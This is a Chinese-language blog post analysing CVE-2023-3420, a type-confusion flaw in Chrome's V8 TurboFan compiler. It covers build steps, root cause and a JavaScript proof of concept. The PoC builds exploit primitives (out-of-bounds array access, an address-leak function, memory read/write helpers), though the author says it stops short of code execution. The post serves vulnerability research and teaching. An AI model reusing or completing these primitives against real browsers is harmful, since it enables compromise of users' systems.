chrome v8漏洞CVE-2023-3420浅析
作者: coolboy
前言
CVE-2023-3420 是产生在v8 TurboFun模块的类型混淆漏洞。TurboFun模块对代码的优化:在优化代码中假定入参具有某种类型,比如int arr。优化代码将不再检查传入的参数是否确实为int arr,而直接按照int arr的类型对参数进行操作,从而大幅度提高运行效率。漏洞的产生原因是,有一种不应该存在的方法修改了入参了对象,且绕过了TurboFun的检查,导致优化代码没有被解优化,入参被修改为另外一种类型,比如double arr。而优化代码采用int arr的类型去访问double arr,造成了类型混淆。从而引发了漏洞。文章分析了漏洞成因、原理以及POC细节。这是一个系列文章,本文是第三篇。
POC
编译
# 国内的网络编译会失败,挂VPN也遇到了各种问题。 # 推荐腾讯云上购买新加坡服务器2core 2G 39元一个月,编译一路丝滑。 git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git export PATH=/path/to/depot_tools:$PATH mkdir ~/v8 cd ~/v8 fetch v8 cd v8 # 漏洞补丁前一笔提交 git checkout 11.4.183.19 gclient sync alias gm=~/v8/tools/dev/gm.py gm x64.release gm x64.debug # test ./out/x64.release/d8 --help
POC
let length = 10000; var padding = 40; var arr = new Array(length); arr.fill(0); function func() { return [1.9553825422107533e-246, 1.9560612558242147e-246, 1.9995714719542577e-246, 1.9533767332674093e-246, 2.6348604765229606e-284]; } for (let i = 0; i < 5000; i++) func(0); var view = new ArrayBuffer(24); var dblArr = new Float64Array(view); var intView = new Uint32Array(view); var bigIntView = new BigInt64Array(view); function ftoi32(f) { dblArr[0] = f; return [intView[0], intView[1]]; } function i32tof(i1, i2) { intView[0] = i1; intView[1] = i2; return dblArr[0]; } function itof(i) { bigIntView = BigInt(i); return dblArr[0]; } function ftoi(f) { dblArr[0] = f; return bigIntView[0]; } var oobObjArr = [view]; oobObjArr[0] = 1; var oobDblArr = [2.2]; var corrupted_arr = [1.1]; var corrupted = {a : corrupted_arr}; var obj0 = {px : {x : 1}}; var str0 = 'aaa'; function tc(x) { var obj = x.p1.px; obj.x = 100; return x.p1.px.x; } function foo2(obj, proto, x,y) { obj.obj = proto; var z = 0; for (let i = 0; i < 1; i++) { for (let j = 0; j < x; j++) { for (let k = 0; k < x; k++) { z = y[k]; } } } proto.b = 33; return z; } class B {} B.prototype.a = 1; B.prototype.a = 2; B.prototype.b = 1; function bar(x) { return x instanceof B; } var args = {obj: B.prototype}; foo2(args, B.prototype, 20, arr); for (let i = 0; i < 5000; i++) { foo2(args, B.prototype, 10, arr); } bar({a : 1}); for (let i = 0; i < 5000; i++) { bar({b : 1}); } console.log('========= pre'); %DebugPrint(B.prototype); foo2(args, B.prototype, length, arr); console.log('========= after'); %DebugPrint(B.prototype); var z = B.prototype; var arr3 = new Array(padding); arr3.fill(1); var obj1 = {p0 : str0, p1 : obj0, p2 : 0}; for (let i = 0; i < 20000; i++) { tc(obj1); } Object.defineProperty(z, 'aaa', {value : corrupted, writable : true}); tc(obj1); var oobOffset = 4; function addrof(obj) { oobObjArr[0] = obj; var addrDbl = corrupted_arr[oobOffset]; return ftoi32(addrDbl)[0]; } function read(addr) { var old_value = corrupted_arr[oobOffset]; corrupted_arr[oobOffset] = i32tof(addr,2); var oldAddr = ftoi32(old_value); var out = ftoi32(oobDblArr[0]); corrupted_arr[oobOffset] = old_value; return out; } function write(addr, val1, val2) { var old_value = corrupted_arr[oobOffset]; corrupted_arr[oobOffset] = i32tof(addr,2); oobDblArr[0] = i32tof(val1, val2); corrupted_arr[oobOffset] = old_value; return; } var funcAddr = addrof(func); console.log("func address: " + funcAddr.toString(16));
./out/x64.release/d8 --allow-natives-syntax --trace-deopt 'poc.js' 将得到func函数地址,此POC不完整,不能拿到shell,需要发现新的堆风水布局才能完成漏洞利用,后面有详细解释。
func address: 11bc45
漏洞成因分析
背景1 TurboFan
Chrome v8 引擎中的jit编译器称为TurboFan。javascript将根据使用频率进行优化。当函数首次运行时,解释器(ignition)将会生成字节码。
当采用不同输入调用该函数时,turbofan会收集这些输入带来的反馈,比如它们的类型(int或者对象等)。当运行次数足够多以后,turbofan将采用这些反馈来做出假设优化函数,生成优化代码。之后的执行,将不再是字节码,而是执行优化后的代码。当函数的假设不再正确的时候,例如对象类型或者值发生变化,turbofan将对函数进行解优化,再次执行函数时将执行字节码,而非优化代码。
背景2 编译依赖
// test.js var a = {x : 1}; function foo(obj) { var y = obj.x; return y; } %PrepareFunctionForOptimization(foo); foo(a); %OptimizeFunctionOnNextCall(foo); foo(a); //Invalidates the optimized code a.x = 2;
使用下面命令执行test.js:
./out/x64.release/d8 --allow-natives-syntax --trace-deopt test.js
将得到结果:
[marking dependent code 0x1d2d0011af41 <Code TURBOFAN> (0x1d2d0011ab7d <SharedFunctionInfo foo>) (opt id 0) for deoptimization, reason: code dependencies]
PrepareFunctionForOptimization 和 OptimizeFunctionOnNextCall 为v8内置函数,作用是将foo进行优化。优化时,将假设foo的函数始终返回1。当a.x被赋值为2时,假设不再成立,于是触发解优化操作。--trace-deopt 命令行选项可以打印解优化的情况,如上所示。解优化之后,在调用foo,将执行字节码操作。
编译依赖在底层是通过CompilationDependency实现的,路径:v8/src/compiler/compilation-dependencies.cc,它有三个虚函数,分别为IsValid,PrepareInstall和Install,子类可以继承修改这三个函数。IsValid 方法会检查假设是否有效,同时install建立一种机制,当假设发生变化时触发解优化。
漏洞成因
CompilationDependency的子类PrototypePropertyDependency重写了PrepareInstall方法,如下:
void PrepareInstall(JSHeapBroker* broker) const override { SLOW_DCHECK(IsValid(broker)); Handle<JSFunction> function = function_.object(); if (!function->has_initial_map()) JSFunction::EnsureHasInitialMap(function); }
该方法调用了JSFunction::EnsureHasInitialMap函数,JSFunction::EnsureHasInitialMap会调用JSFunction::SetInitialMap函数。JSFunction::SetInitialMap函数如下:
void JSFunction::SetInitialMap(Isolate* isolate, Handle<JSFunction> function, Handle<Map> map, Handle<HeapObject> prototype, Handle<HeapObject> constructor) { if (map->prototype() != *prototype) { Map::SetPrototype(isolate, map, prototype); } DCHECK_IMPLIES(!constructor->IsJSFunction(), map->InSharedHeap()); map->SetConstructor(*constructor); function->set_prototype_or_initial_map(*map, kReleaseStore); if (v8_flags.log_maps) { LOG(isolate, MapEvent("InitialMap", Handle<Map>(), map, "", SharedFunctionInfo::DebugName( isolate, handle(function->shared(), isolate)))); } }
Map::SetPrototype(isolate, map, prototype); 这行代码将修改对象的类型,将"fast"对象修改为"dictionary"对象。综上,假如一个函数它的优化的假设依赖PrototypePropertyDependency,当PrototypePropertyDependency的PrepareInstall被调用时,该对象的类型将被改变,从"fast"修改为"dictionary"。而这个改变过程属于Turbofan优化编译本身,将无法触发解优化。从而实现了对象实际类型和优化代码里面的类型不一致,导致了类型混淆。
POC详解
class B {} B.prototype.a = 2; B.prototype.b = 1; function foo2(obj, proto, x,y) { obj.obj = proto; var z = 0; for (let i = 0; i < 1; i++) { for (let j = 0; j < x; j++) { for (let k = 0; k < x; k++) { z = y[k]; } } } proto.b = 33; return z; } foo2(args, B.prototype, 20, arr); for (let i = 0; i < 5000; i++) { foo2(args, B.prototype, 10, arr); }
这段代码将优化foo2,假设B.prototype类型为"fast"对象。
function bar(x) { return x instanceof B; } for (let i = 0; i < 5000; i++) { bar({b : 1}); } foo2(args, B.prototype, length, arr);
执行这段代码将优化bar函数,而bar函数的优化将依赖于PrototypePropertyDependency。PrototypePropertyDependency对象的PreInstall的函数将被加入到任务列表里面,在合适的时机调用它。这个合适的时机是StackGuard节点。StackGuard节点会在for循环中产生。于是在优化bar之后,紧接着调用foo2。foo2中有一个比较长的for循环,里面有StackGuard节点。再回过头看foo2代码。
// foo2优化时机在bar之前,所以当调用foo2(args, B.prototype, length, arr);时,foo2已经优化,假设proto即B.prototype类型为"fast"对象。 function foo2(obj, proto, x,y) { obj.obj = proto; var z = 0; // 此时B.prototype类型为"fast"对象 for (let i = 0; i < 1; i++) { // 当执行for循环时,StackGuard节点被执行,它将调用bar优化依赖的PrototypePropertyDependency的PreInstall函数。而PreInstall函数将B.prototype类型从"fast"修改为"dictionary" for (let j = 0; j < x; j++) { for (let k = 0; k < x; k++) { z = y[k]; } } } // 此时B.prototype类型为"dictionary"对象 // foo2假设proto为"fast",实际为"dictionary"。proto.b将发生类型混淆,实际将dictionary的capacity修改为33 proto.b = 33; return z; }
console.log('========= pre'); %DebugPrint(B.prototype); foo2(args, B.prototype, length, arr); console.log('========= after'); %DebugPrint(B.prototype);
做个实验,在foo2调用前后用DebugPrint打印B.prototype信息,得到结果如下:
========= pre DebugPrint: 0x1ae000182765: [JS_OBJECT_TYPE] - map: 0x1ae00011c979 <Map[12](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x1ae000104ab5 <Object map = 0x1ae0001040f1> - elements: 0x1ae000000219 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x1ae00018adb1 <PropertyArray[4]> ... ========= after DebugPrint: 0x1ae000182765: [JS_OBJECT_TYPE] - map: 0x1ae00011d349 <Map[12](HOLEY_ELEMENTS)> [DictionaryProperties] - prototype: 0x1ae000104ab5 <Object map = 0x1ae0001040f1> - elements: 0x1ae000000219 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x1ae0001aa6f9 <NameDictionary[30]> ...
可以看到,确实调用foo2前为FastProperties,调用后为DictionaryProperties。它们的实现分别为PropertyArray和NameDictionary。内存结构如下图:
可见,当优化代码修改为"fast"的b属性时,实际修改的"dictionary"的capacity属性。"proto.b = 33" 将capacity属性修改33。33为2的5次方加上1。当capacity的值满足2的n次方加1的时候,对dictionary的访问,将总是访问最后一个对象。因此有了下面代码:
class B {} B.prototype.a = 1; B.prototype.a = 2; B.prototype.b = 1; var z = B.prototype; var arr3 = new Array(padding); arr3.fill(1); var obj1 = {p0 : str0, p1 : obj0, p2 : 0}; Object.defineProperty(z, 'aaa', {value : corrupted, writable : true});
dictionary的子项的存储是通过(key, value, attribute)三元组进行的。这是为什么obj1也长这样。至于为什么位于B之后,中间还有padding,是因为原本B只有a,b两个元素,长度被修改33之后,往后发生了越界,最后一个元素刚好位于obj1所在的内存。"Object.defineProperty"操作长度修改后的最后一个元素,变相修改了obj1。
var corrupted_arr = [1.1]; var corrupted = {a : corrupted_arr}; var obj0 = {px : {x : 1}}; var str0 = 'aaa'; function tc(x) { var obj = x.p1.px; obj.x = 100; return x.p1.px.x; } var obj1 = {p0 : str0, p1 : obj0, p2 : 0}; for (let i = 0; i < 20000; i++) { tc(obj1); } // 此时obj1.p1.px为 {x : 1} Object.defineProperty(z, 'aaa', {value : corrupted, writable : true}); // 此时obj1.p1.px为 [1.1]。tc中仍然假设obj1为{x : 1} tc(obj1);
{x : 1} 和 [1.1] 内存如下图:
类型混淆后在执行tc(obj1), obj.x=100,将修改数组长度,从1变为100,这将导致越界读写。
var oobObjArr = [view]; oobObjArr[0] = 1; var oobDblArr = [2.2]; var corrupted_arr = [1.1]; var oobOffset = 4; function addrof(obj) { oobObjArr[0] = obj; var addrDbl = corrupted_arr[oobOffset]; return ftoi32(addrDbl)[0]; } var funcAddr = addrof(func);
这样的申明顺序,将oobDblArr和oobObjArr的数组内存安排在了corrupted_arr数组内存之后,可以实现越界读写。oobObjArr[0]赋值为对象,那么对象的内存地址,就可以由corrupted_arr这个double arr通过越界读出来,corrupted_arr[4]中存放的就是func的地址。到这里便实现了对象地址读。
如果将js 数组对象的element指针地址放置在corrupted_arr数组之后,通过越界读写,就可以改变js 数组指向的内存,通过修改之后的js 数组,便可以实现任意地址读写。参考chrome v8漏洞CVE-2021-30632浅析的POC。
当前漏洞,由于bar函数优化的原因,内存布局一直没能实现js 数组对象的element指针地址放置在corrupted_arr数组之后,而是在它之前,无法实现越界读写。去掉bar函数优化则可以实现上述堆风水。但去掉bar优化就无法触发漏洞,因此还需要找到另外一种堆风水来利用此漏洞。POC漏洞发现者提供的POC是阉割版,甚至无法复现对象地址读。留个坑,以后来填。
启发
这个漏洞是如何发现的呢?Fuzz? Code review?欢迎讨论。
参考
Getting RCE in Chrome with incorrect side effect in the JIT compiler
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)